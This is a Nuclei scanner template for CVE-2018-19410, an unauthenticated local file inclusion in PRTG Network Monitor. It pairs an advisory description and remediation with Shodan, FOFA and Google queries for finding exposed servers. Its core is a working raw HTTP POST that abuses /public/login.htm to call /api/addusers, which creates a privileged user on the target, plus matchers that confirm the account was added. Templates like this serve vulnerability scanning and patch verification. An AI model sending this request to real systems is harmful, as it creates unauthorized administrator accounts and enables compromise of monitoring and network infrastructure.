PRTG Network Monitor before 18.2.40.1683 allows remote unauthenticated attackers to create users with read-write privileges (including administrator). A remote unauthenticated user can craft an HTTP request and override attributes of the 'include' directive in /public/login.htm and perform a Local File Inclusion attack, by including /api/addusers and executing it. By providing the 'id' and 'users' parameters, an unauthenticated attacker can create a user with read-write privileges (including administrator).
PoC
id: CVE-2018-19410
info:
name: PRTG Network Monitor - Local File Inclusion
author: DhiyaneshDK
severity: critical
description: |
PRTG Network Monitor before 18.2.40.1683 allows remote unauthenticated attackers to create users with read-write privileges (including administrator). A remote unauthenticated user can craft an HTTP request and override attributes of the 'include' directive in /public/login.htm and perform a Local File Inclusion attack, by including /api/addusers and executing it. By providing the 'id' and 'users' parameters, an unauthenticated attacker can create a user with read-write privileges (including administrator).
impact: |
Unauthenticated attackers can create administrator users with full privileges via local file inclusion, leading to complete compromise of the monitoring system and access to network infrastructure.
remediation: |
Upgrade to PRTG Network Monitor version 18.2.40.1683 or later and ensure the /public directory is properly secured.
reference:
- https://global.ptsecurity.com/analytics/threatscape/pt-2018-24
- https://github.com/himash/CVE-2018-19410-POC
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-19410
epss-score: 0.97939
epss-percentile: 0.99905
cpe: cpe:2.3:a:paessler:prtg_network_monitor:*:*:*:*:*:*:*:*
metadata:
verified: true
vendor: paessler
product: prtg_network_monitor
shodan-query:
- http.favicon.hash:"-655683626"
- http.title:"prtg"
fofa-query:
- icon_hash=-655683626
- title="prtg"
google-query: intitle:"prtg"
tags: cve,cve2018,prtg,lfi,kev,vkev,vuln
variables:
username: "{{rand_base(6)}}"
http:
- raw:
- |
POST /public/login.htm?file=/api/addusers.htm HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Origin: {{RootURL}}
Referer: {{RootURL}}
id=200&users={{username}}
matchers-condition: and
matchers:
- type: word
words:
- 'Added 1 users'
- 'prtg'
part: body
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022075c8a7c0115a3dc1e7c2cc577b5a2a54bde503e0e0ce64366e3ec5ee89730c3a022100d39e09bf35646ba2ec44afea987c85cbe722a151d7dc76298933018815c03cfb:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.